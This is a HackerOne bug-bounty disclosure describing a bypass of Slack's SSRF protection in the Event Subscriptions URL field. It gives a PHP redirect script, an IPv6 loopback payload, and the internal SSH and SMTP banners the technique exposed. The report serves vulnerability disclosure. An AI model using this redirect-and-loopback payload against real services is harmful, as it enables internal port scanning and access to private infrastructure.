Slack: Bypass of the SSRF protection in Event Subscriptions parameter.

ID H1:386292
Type hackerone
Reporter elber
Modified 2019-02-22T20:58:48


The vulnerability is present in the "Event Subscriptions" parameter where: "Your app can subscribe to be notified of events in Slack (for example, when a user adds a reaction or creates a file) at a URL you choose. ". URL:

When we add a site that does not meet API standards, we receive the following message: {F323999}

Your request URL gave us a 500 error. Update your URL to receive a new request and challenge value.

After testing several SSRF techniques I found a bypass for this protection. Using an IPV6 vector [::].

On my host, x.php has:

<?php header("location: ".$_GET['u']); ?> PoC:[::]:22/

Response: SSH [::]:22


``` "body": { SSH-2.0-OpenSSH_7.2p2 Ubuntu-4ubuntu2.4 Protocol mismatch.

} ```

SMNTP [::]:25


``` "body": { 220 ESMTP Postfix 221 2.7.0 Error: I can break rules, too. Goodbye.

} ```

Non-existent port: {F324000}


In a Server-Side Request Forgery (SSRF) attack, the attacker can abuse functionality on the server to read or update internal resources, and scan for internal ports and get the versions of the services running on the server.